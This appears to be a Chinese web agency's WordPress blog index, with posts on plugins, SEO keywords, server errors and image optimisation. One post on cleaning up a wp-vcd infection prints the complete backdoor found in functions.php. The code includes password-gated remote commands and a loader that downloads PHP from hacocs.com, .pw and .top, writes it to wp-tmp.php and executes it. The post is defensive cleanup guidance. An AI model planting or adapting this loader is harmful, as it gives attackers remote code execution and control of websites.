通知设置 新通知
内链插件使用教程
carol 发表了文章 • 1 个评论 • 3787 次浏览 • 2019-05-02 13:53
使用方法:
1. 安装下载插件
2.激活后在控制面板中会出现Content Links的设置按钮。点击并在setting中根据需求设置。
3. 点击get words&phrases,该插件会自动识别出一批关键词。注意,这部分的关键词需要我们手动进行添加删除。
4. 点击start links creation
随后插件会根据网站相关的关键词进行链接,这个插件适合文章多,但之前内链一直没有进行优化的网站。总的来说能够自己手动根据网站文案进行链接肯定是最好的。这个插件另一个好处就是会自动识别整个站的文章。缺点是page中的页面无法插入链接,只能在post中进行内链添加,不过这样也有利于深层次页面的读取。
查看全部
使用方法:
1. 安装下载插件
2.激活后在控制面板中会出现Content Links的设置按钮。点击并在setting中根据需求设置。
3. 点击get words&phrases,该插件会自动识别出一批关键词。注意,这部分的关键词需要我们手动进行添加删除。
4. 点击start links creation
随后插件会根据网站相关的关键词进行链接,这个插件适合文章多,但之前内链一直没有进行优化的网站。总的来说能够自己手动根据网站文案进行链接肯定是最好的。这个插件另一个好处就是会自动识别整个站的文章。缺点是page中的页面无法插入链接,只能在post中进行内链添加,不过这样也有利于深层次页面的读取。
为WordPress分类添加模板选项
Bob 发表了文章 • 1 个评论 • 4006 次浏览 • 2019-04-23 12:08
还有一种方法就是根据获取id或者slug,在模板文件里做成判断的形式,但是如果以后增加了分类,就要在模板文件里面再次添加id或者slug,过程繁琐。
今天介绍一个插件,可以非常快速的实现我们想要的功能,安装 Custom Category Templates 插件。插件启用后,会在category页面显示分类模板的选择选项。而我们只要制作一两个不同的分类模板即可。分类的模板需要添加一下内容: <?php
/*
Template Name: 模板A
*/
?>以上步骤完成以后,我们就会在分类看到模板选择按钮,如下图所示:
当然我们也可以在functions.php文件里面添加一段代码,来实现这个功能,此代码是在该插件里面提取出来的。 // 分类选择模板
class Select_Category_Template{
public function __construct() {
add_filter( 'category_template', array($this,'get_custom_category_template' ));
add_action ( 'edit_category_form_fields', array($this,'category_template_meta_box'));
add_action( 'category_add_form_fields', array( &$this, 'category_template_meta_box') );
add_action( 'created_category', array( &$this, 'save_category_template' ));
add_action ( 'edited_category', array($this,'save_category_template'));
do_action('Custom_Category_Template_constructor',$this);
}
// 添加表单到分类编辑页面
public function category_template_meta_box( $tag ) {
$t_id = $tag->term_id;
$cat_meta = get_option( "category_templates");
$template = isset($cat_meta[$t_id]) ? $cat_meta[$t_id] : false;
?>
<tr class="form-field">
<th scope="row" valign="top"><label for="cat_Image_url"><?php _e('Category Template'); ?></label></th>
<td>
<select name="cat_template" id="cat_template">
<option value='default'><?php _e('Default Template'); ?></option>
<?php page_template_dropdown($template); ?>
</select>
<br />
<span class="description"><?php _e('为此分类选择一个模板'); ?></span>
</td>
</tr>
<?php
do_action('Custom_Category_Template_ADD_FIELDS',$tag);
}
// 保存表单
public function save_category_template( $term_id ) {
if ( isset( $_POST['cat_template'] )) {
$cat_meta = get_option( "category_templates");
$cat_meta[$term_id] = $_POST['cat_template'];
update_option( "category_templates", $cat_meta );
do_action('Custom_Category_Template_SAVE_FIELDS',$term_id);
}
}
// 处理选择的分类模板
function get_custom_category_template( $category_template ) {
$cat_ID = absint( get_query_var('cat') );
$cat_meta = get_option('category_templates');
if (isset($cat_meta[$cat_ID]) && $cat_meta[$cat_ID] != 'default' ){
$temp = locate_template($cat_meta[$cat_ID]);
if (!empty($temp))
return apply_filters("Custom_Category_Template_found",$temp);
}
return $category_template;
}
}
$cat_template = new Select_Category_Template(); 查看全部
如上图所示,我们现在使用WordPress做的网站,网站分类的模板默认都是统一的,不像后台添加页面的时候可以随意选择模板。即使我们想要添加不同的模板也只能是根据不同的分类ID或者分类slug来命名这些模板,比如:category-id.php或者category-slug.php。这样添加的话,每个分类都要添加一个模板,工作量巨大。
还有一种方法就是根据获取id或者slug,在模板文件里做成判断的形式,但是如果以后增加了分类,就要在模板文件里面再次添加id或者slug,过程繁琐。
今天介绍一个插件,可以非常快速的实现我们想要的功能,安装 Custom Category Templates 插件。插件启用后,会在category页面显示分类模板的选择选项。而我们只要制作一两个不同的分类模板即可。分类的模板需要添加一下内容:
<?php以上步骤完成以后,我们就会在分类看到模板选择按钮,如下图所示:
/*
Template Name: 模板A
*/
?>
当然我们也可以在functions.php文件里面添加一段代码,来实现这个功能,此代码是在该插件里面提取出来的。
// 分类选择模板
class Select_Category_Template{
public function __construct() {
add_filter( 'category_template', array($this,'get_custom_category_template' ));
add_action ( 'edit_category_form_fields', array($this,'category_template_meta_box'));
add_action( 'category_add_form_fields', array( &$this, 'category_template_meta_box') );
add_action( 'created_category', array( &$this, 'save_category_template' ));
add_action ( 'edited_category', array($this,'save_category_template'));
do_action('Custom_Category_Template_constructor',$this);
}
// 添加表单到分类编辑页面
public function category_template_meta_box( $tag ) {
$t_id = $tag->term_id;
$cat_meta = get_option( "category_templates");
$template = isset($cat_meta[$t_id]) ? $cat_meta[$t_id] : false;
?>
<tr class="form-field">
<th scope="row" valign="top"><label for="cat_Image_url"><?php _e('Category Template'); ?></label></th>
<td>
<select name="cat_template" id="cat_template">
<option value='default'><?php _e('Default Template'); ?></option>
<?php page_template_dropdown($template); ?>
</select>
<br />
<span class="description"><?php _e('为此分类选择一个模板'); ?></span>
</td>
</tr>
<?php
do_action('Custom_Category_Template_ADD_FIELDS',$tag);
}
// 保存表单
public function save_category_template( $term_id ) {
if ( isset( $_POST['cat_template'] )) {
$cat_meta = get_option( "category_templates");
$cat_meta[$term_id] = $_POST['cat_template'];
update_option( "category_templates", $cat_meta );
do_action('Custom_Category_Template_SAVE_FIELDS',$term_id);
}
}
// 处理选择的分类模板
function get_custom_category_template( $category_template ) {
$cat_ID = absint( get_query_var('cat') );
$cat_meta = get_option('category_templates');
if (isset($cat_meta[$cat_ID]) && $cat_meta[$cat_ID] != 'default' ){
$temp = locate_template($cat_meta[$cat_ID]);
if (!empty($temp))
return apply_filters("Custom_Category_Template_found",$temp);
}
return $category_template;
}
}
$cat_template = new Select_Category_Template();
如何实现先发送邮件,然后才能下载文件
Leo 发表了文章 • 1 个评论 • 3533 次浏览 • 2019-04-18 15:05
利用邮件发送之后的重定向功能,重定向到可供下载的文件。
不过有个弊端,就是一次只能下载一个文件。
适用于单个文件的下载。
之前试过Contact Form 7 + Download Monitor + Email Before Download这三个插件组合的下载功能,初期是好用的,后续有各种莫名其妙的问题,导致无法下载。
另外这个Contact Form CFDB7插件可以装上,防止邮件丢失。 查看全部
推荐一款newsletter弹窗插件newsletter popup
Leo 发表了文章 • 1 个评论 • 3708 次浏览 • 2019-02-14 14:50
有很多现成的框架。
具体效果如下图:
项目添加相关产品以及如何查看是否开cloudflare
wendy 发表了文章 • 1 个评论 • 4018 次浏览 • 2019-01-22 09:21
1.后台设置:
2.代码设置:
上述代码是默认的横排,若是更改样式,则在样式表里写入想要变换的样式。
3.产品后台设置:
2.查看网站是否开启cloud flare
法1:通过dos命令窗口ping
可以查看到为104开头,是为开启cloud flare的IP段
法2:上述方法需要判断,当不知道是否为cloud flare的IP段时,可通过工具查看
像上述工具还有whois
查看全部
SEO站内优化之关键词
wendy 发表了文章 • 2 个评论 • 4001 次浏览 • 2019-01-20 17:08
谷歌的排名是根据标题,描述,关键词的匹配去定位你的网站。不做SEO的网站,Google通常是随机抓取文字,这样的网站一般很难有比较好的排名和权重。让谷歌和客户都无法很好的理解你这个网页是干嘛用的,这样怎么能有排名呢?因此需要对整个网站进行分析:关键词,长尾词以及元描述等。再通过插件对每个页面进行设置。 在wordpress中就有这样一款插件用来帮助我们查看每个页面的SEO设置情况。在开始插件使用之前我们先来看一下SEO的注意点。
1.SEO设置注意点
SEO参数主要包括:标题,描述,关键字,然后就是文章的结构了。这里列出需要注意的几点:
1.SEO标题不要有介词,例如你写的一篇文章是how to get customer information, 那么你的标题里最好写Get customer information,而不是how to get customer information,这样不利于优化。
2.文章链接中(seo那里就是slug)更不能出现介词,这种介词在seo的词汇里叫stop words,看到stop你应该就知道了不是什么好词汇了。
3.描述(Meta description)中第一句最好就直接copy你的关键字,这样可以很好的匹配你的标题,譬如呼应上面标题,我第一行可能会写 get customer’s information skills will be provided here. 这样匹配度很高,google就会判定你这篇文章讲的是get customer information.
4.关键字(focus keywords)这个很重要,呼应上面标题和描述我就会写get customer information,这个关键字就很好了。我的整篇文章也是针对这个关键字写的,阐述清楚我是怎么得到客户信息的方法这些。与其说是关键字,不如说这是你的文章的中心思想。所以在写文章之前,一定要考虑清楚确定关键字。不知道关键字,就别写了。
5.要有H2 小标题,尽量给自己的文章取小标题,这样简洁明了。而且最好有一个小标题还要包含你的关键字。
6.在文章首段需要注意把你自己的关键字写进去。譬如这篇文章主要是想把 Solar Off- Grid Power Plant System,这个关键字推上去,则你就需要在第一段把这个关键字写进去。一般出现一次就够了,在文章中再出现个一两次就可以了。这就比较自然。
7.每篇文章中配一张图片,图片要把alt属性填好,也就是把这个关键字写到图片的标题上,还有下面那个alt也写好。
8.一篇文章配一个链接,这个链接其实就是call to action, 客户看完这篇文章,就引导他去干件事,譬如给你发询盘这样。
2.word press设置方法
2.1 先在wordpress后台下载并安装SEO插件
2.2 SEO yoast功能使用
Yoast seo 会在wp网站的所有页面(page、post、portfolio等)后台内容编辑器下方加上yoast seo设置菜单
Yoast Seo会给你的设置进行评分,绿色的就是好,黄色就是一般,红色就不及格。如果是不及格的话,就可以看下对方给你的提示,根据提示进行修改即可。 标题的描述最好精炼。
Focus keyword的内容填写的也是你的页面设置的关键词,它的作用是给seo yoast 一个给你页面打分的标准,如果你不填,就没办法对你的页面进行测评,也法给出改善建议。
以上就是SEO关键词以及在word press中如何设置关键词的注意点。SEO的营销优化不是一蹴而就的事情,想要网站的排名慢慢靠前,并且网站的权重升高,需要网站的负责人配合营销人员一起逐步去完善网站的方方面面,一步一个脚印才能走得扎实走的稳健,若是利用捷径,是会在短期内会有排名,但是这种排名后期很快会被刷下来,并且被惩罚一年或者几年无法收录,网站被注入病毒等等,这样根本就得不偿失了。 查看全部
谷歌的排名是根据标题,描述,关键词的匹配去定位你的网站。不做SEO的网站,Google通常是随机抓取文字,这样的网站一般很难有比较好的排名和权重。让谷歌和客户都无法很好的理解你这个网页是干嘛用的,这样怎么能有排名呢?因此需要对整个网站进行分析:关键词,长尾词以及元描述等。再通过插件对每个页面进行设置。 在wordpress中就有这样一款插件用来帮助我们查看每个页面的SEO设置情况。在开始插件使用之前我们先来看一下SEO的注意点。
1.SEO设置注意点
SEO参数主要包括:标题,描述,关键字,然后就是文章的结构了。这里列出需要注意的几点:
1.SEO标题不要有介词,例如你写的一篇文章是how to get customer information, 那么你的标题里最好写Get customer information,而不是how to get customer information,这样不利于优化。
2.文章链接中(seo那里就是slug)更不能出现介词,这种介词在seo的词汇里叫stop words,看到stop你应该就知道了不是什么好词汇了。
3.描述(Meta description)中第一句最好就直接copy你的关键字,这样可以很好的匹配你的标题,譬如呼应上面标题,我第一行可能会写 get customer’s information skills will be provided here. 这样匹配度很高,google就会判定你这篇文章讲的是get customer information.
4.关键字(focus keywords)这个很重要,呼应上面标题和描述我就会写get customer information,这个关键字就很好了。我的整篇文章也是针对这个关键字写的,阐述清楚我是怎么得到客户信息的方法这些。与其说是关键字,不如说这是你的文章的中心思想。所以在写文章之前,一定要考虑清楚确定关键字。不知道关键字,就别写了。
5.要有H2 小标题,尽量给自己的文章取小标题,这样简洁明了。而且最好有一个小标题还要包含你的关键字。
6.在文章首段需要注意把你自己的关键字写进去。譬如这篇文章主要是想把 Solar Off- Grid Power Plant System,这个关键字推上去,则你就需要在第一段把这个关键字写进去。一般出现一次就够了,在文章中再出现个一两次就可以了。这就比较自然。
7.每篇文章中配一张图片,图片要把alt属性填好,也就是把这个关键字写到图片的标题上,还有下面那个alt也写好。
8.一篇文章配一个链接,这个链接其实就是call to action, 客户看完这篇文章,就引导他去干件事,譬如给你发询盘这样。
2.word press设置方法
2.1 先在wordpress后台下载并安装SEO插件
2.2 SEO yoast功能使用
Yoast seo 会在wp网站的所有页面(page、post、portfolio等)后台内容编辑器下方加上yoast seo设置菜单
Yoast Seo会给你的设置进行评分,绿色的就是好,黄色就是一般,红色就不及格。如果是不及格的话,就可以看下对方给你的提示,根据提示进行修改即可。 标题的描述最好精炼。
Focus keyword的内容填写的也是你的页面设置的关键词,它的作用是给seo yoast 一个给你页面打分的标准,如果你不填,就没办法对你的页面进行测评,也法给出改善建议。
以上就是SEO关键词以及在word press中如何设置关键词的注意点。SEO的营销优化不是一蹴而就的事情,想要网站的排名慢慢靠前,并且网站的权重升高,需要网站的负责人配合营销人员一起逐步去完善网站的方方面面,一步一个脚印才能走得扎实走的稳健,若是利用捷径,是会在短期内会有排名,但是这种排名后期很快会被刷下来,并且被惩罚一年或者几年无法收录,网站被注入病毒等等,这样根本就得不偿失了。
WordPress疑难杂症之后台控制台503、500 error等
Leo 发表了文章 • 1 个评论 • 3766 次浏览 • 2019-01-15 16:57
#万物皆刻盘#
简单陈述一下网站发现的问题,
1、首先后台wpbakery page builder插件(我们俗称的VC插件),这个插件里面的小控件都无法编辑,始终处于一个loading的status,另外控制台打开会看到关于admin-ajax.php的503、500、404等等的报错
2、其次网站后台很多功能不正常,列如:不能清除后台缓存、安装插件和删除插件有问题、还会导致一些插件功能失效,打开相关功能可能会变成404页面
3、然后前台我们发现,url不以“\”结尾,网站就不能打开了,如下图所示报错:
4、最后,当然不止以上三个问题,还有很多没有发现和我已经忘记的问题没有列出来。但是问题解决方法是一样的,就是那么easy! (﹀_﹀)╭
trust the process
Actually,过程这个东西我轻易是不会说出来的。ㄟ( ▔, ▔ )ㄏ
Don't worry!我会告诉你怎么解决的。
首先我谷歌了一下,(其实之前进行了一系列操作,相信过程)
查到是mod_security这个模块导致的,因此想到可能是服务器屏蔽了这些请求,才导致的错误。
所以我们首先打开服务器上的mod_security模块,
这样,我们对症下药,把引起问题的规则关闭,这样网站就正常了。
Perfect!!!
By the way,盘它。。。
查看全部
#万物皆刻盘#
简单陈述一下网站发现的问题,
1、首先后台wpbakery page builder插件(我们俗称的VC插件),这个插件里面的小控件都无法编辑,始终处于一个loading的status,另外控制台打开会看到关于admin-ajax.php的503、500、404等等的报错
2、其次网站后台很多功能不正常,列如:不能清除后台缓存、安装插件和删除插件有问题、还会导致一些插件功能失效,打开相关功能可能会变成404页面
3、然后前台我们发现,url不以“\”结尾,网站就不能打开了,如下图所示报错:
4、最后,当然不止以上三个问题,还有很多没有发现和我已经忘记的问题没有列出来。但是问题解决方法是一样的,就是那么easy! (﹀_﹀)╭
trust the process
Actually,过程这个东西我轻易是不会说出来的。ㄟ( ▔, ▔ )ㄏ
Don't worry!我会告诉你怎么解决的。
首先我谷歌了一下,(其实之前进行了一系列操作,相信过程)
查到是mod_security这个模块导致的,因此想到可能是服务器屏蔽了这些请求,才导致的错误。
所以我们首先打开服务器上的mod_security模块,
这样,我们对症下药,把引起问题的规则关闭,这样网站就正常了。
Perfect!!!
By the way,盘它。。。
针对隽永东方建站客户产品添加,资料整理建议
Leo 发表了文章 • 1 个评论 • 3777 次浏览 • 2019-01-10 14:30
以下是我司一个优质客户整理的众多产品资料中的一个产品,内容相当明晰,让添加者真的是心情愉快。
希望之后有协助添加产品需求的客户朋友可以尽量参照这种格式,这样提升大家的工作效率。
同事们也要在第一时间主动告诉客户需要怎样的产品资料格式,以免客户多做一遍产品整理! 查看全部
Ewww优化器插件报错“EWWW Image Optimizer需要exec() function”
Leo 发表了文章 • 1 个评论 • 3376 次浏览 • 2019-01-07 11:37
EWWW Image Optimizer需要exec()。您的系统管理员已禁用此功能。
不幸的是,出于安全原因,服务器将无法启用exec()函数。
我们建议使用API或基于云的插件,其中所有图像处理都在远程服务器上进行,并且不需要安装任何本地可执行文件。
这个API可以在EWWW这个图片压缩插件里获取,通过购买图片压缩的套餐。(EWWW这个插件是较好的图片压缩插件,而且目前也没有免费版本的图片压缩插件,价格也不贵)
注意:如果想要网站获得更好一点的得分,那么这个图片压缩插件必不可少!
https://ewww.io/plans/
既然提到了图片压缩,必然要提下速度,公所周知,谷歌近期调整了pagespeed insight评分标准,更为严苛,之前测评80、90分的网站,可能现在只有十几二十分。优化无非以下几点:
1、script、link添加属性,但必要资源是不能添加这些属性的,会导致网站错乱,毕竟html只是骨架,而css、js就是衣服和行为动作,人没有衣服和行为动作,那只是一堆骨头,那这样的人不就是个死人?同理,那这样的网站,要了做什么?做个word文档不是更好?有些朋友不懂这些资源的原理,那既然有人给你解释了,就要接受,要懂得“鱼和熊掌不可兼得”的道理。
2、图片,任何不需要png格式的图片,都要用jpeg、webp格式图片,png格式压缩效率低下。
3、文件压缩
4、文件缓存,3、4两点,wordpress有插件可以操作。 查看全部
EWWW Image Optimizer需要exec()。您的系统管理员已禁用此功能。
不幸的是,出于安全原因,服务器将无法启用exec()函数。
我们建议使用API或基于云的插件,其中所有图像处理都在远程服务器上进行,并且不需要安装任何本地可执行文件。
这个API可以在EWWW这个图片压缩插件里获取,通过购买图片压缩的套餐。(EWWW这个插件是较好的图片压缩插件,而且目前也没有免费版本的图片压缩插件,价格也不贵)
注意:如果想要网站获得更好一点的得分,那么这个图片压缩插件必不可少!
https://ewww.io/plans/
既然提到了图片压缩,必然要提下速度,公所周知,谷歌近期调整了pagespeed insight评分标准,更为严苛,之前测评80、90分的网站,可能现在只有十几二十分。优化无非以下几点:
1、script、link添加属性,但必要资源是不能添加这些属性的,会导致网站错乱,毕竟html只是骨架,而css、js就是衣服和行为动作,人没有衣服和行为动作,那只是一堆骨头,那这样的人不就是个死人?同理,那这样的网站,要了做什么?做个word文档不是更好?有些朋友不懂这些资源的原理,那既然有人给你解释了,就要接受,要懂得“鱼和熊掌不可兼得”的道理。
2、图片,任何不需要png格式的图片,都要用jpeg、webp格式图片,png格式压缩效率低下。
3、文件压缩
4、文件缓存,3、4两点,wordpress有插件可以操作。
针对 Wordpress 网站的新一轮 wp-vcd 恶意软件攻击
Leo 发表了文章 • 1 个评论 • 4366 次浏览 • 2018-12-20 16:15
经过对wordpress原始模板的参照,我发现wp-tmp.php、wp-vcd.php这两个文件是不存在的,大可放心删掉。
然后回到functions.php的排毒,
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '506d7259a8f069cc6257622ae35e8322'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
{
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
{
$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
$div_code_name = "wp_vcd";
$funcfile = __FILE__;
if(!function_exists('theme_temp_setup')) {
$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
function file_get_contents_tcurl($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function theme_temp_setup($phpCode)
{
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
if( fwrite($handle, "<?php\n" . $phpCode))
{
}
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
$wp_auth_key='0082cfd4a04f1a4a5ffb8988545e59bd';
if (($tmpcontent = @file_get_contents("http://www.hacocs.com/code.php";) OR $tmpcontent = @file_get_contents_tcurl("http://www.hacocs.com/code.php";)) AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.hacocs.pw/code.php";) AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.hacocs.top/code.php";) AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
}
}
}
//$start_wp_theme_tmp
//wp_tmp
//$end_wp_theme_tmp
?>
经过观察,这是一段植入的病毒程序,需要手工删掉。
这些攻击主要利用了目标网站过时的插件和主题中存在的安全漏洞。被标记为 "wp-vcd" 的恶意代码主要隐藏在合法的 WordPress 文件中,且被攻击者用于添加一个秘密的管理员账户,随后获取对受感染网站的完全控制权。
该恶意代码的初始版本通过一个名为 "wp-vcd.php" 的文件将恶意代码注入到 WordPress 核心文件中。
在我们发现的大多数案例中,恶意软件的注入都与过时的软件(插件或主题)有关。只要进行了简单的安全更新或是启用 WAF 都能够成功地阻断这种行为。该恶意代码非常简单,并没有通过编码或混淆函数来隐藏其恶意的意图……
所以建议大家插件常更新、主题常更新,这样也能有效防御病毒侵袭。 查看全部
经过对wordpress原始模板的参照,我发现wp-tmp.php、wp-vcd.php这两个文件是不存在的,大可放心删掉。
然后回到functions.php的排毒,
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '506d7259a8f069cc6257622ae35e8322'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
{
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
{
$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
$div_code_name = "wp_vcd";
$funcfile = __FILE__;
if(!function_exists('theme_temp_setup')) {
$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
function file_get_contents_tcurl($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function theme_temp_setup($phpCode)
{
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
if( fwrite($handle, "<?php\n" . $phpCode))
{
}
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
$wp_auth_key='0082cfd4a04f1a4a5ffb8988545e59bd';
if (($tmpcontent = @file_get_contents("http://www.hacocs.com/code.php";) OR $tmpcontent = @file_get_contents_tcurl("http://www.hacocs.com/code.php";)) AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.hacocs.pw/code.php";) AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.hacocs.top/code.php";) AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
}
}
}
//$start_wp_theme_tmp
//wp_tmp
//$end_wp_theme_tmp
?>
经过观察,这是一段植入的病毒程序,需要手工删掉。
这些攻击主要利用了目标网站过时的插件和主题中存在的安全漏洞。被标记为 "wp-vcd" 的恶意代码主要隐藏在合法的 WordPress 文件中,且被攻击者用于添加一个秘密的管理员账户,随后获取对受感染网站的完全控制权。
该恶意代码的初始版本通过一个名为 "wp-vcd.php" 的文件将恶意代码注入到 WordPress 核心文件中。
在我们发现的大多数案例中,恶意软件的注入都与过时的软件(插件或主题)有关。只要进行了简单的安全更新或是启用 WAF 都能够成功地阻断这种行为。该恶意代码非常简单,并没有通过编码或混淆函数来隐藏其恶意的意图……
所以建议大家插件常更新、主题常更新,这样也能有效防御病毒侵袭。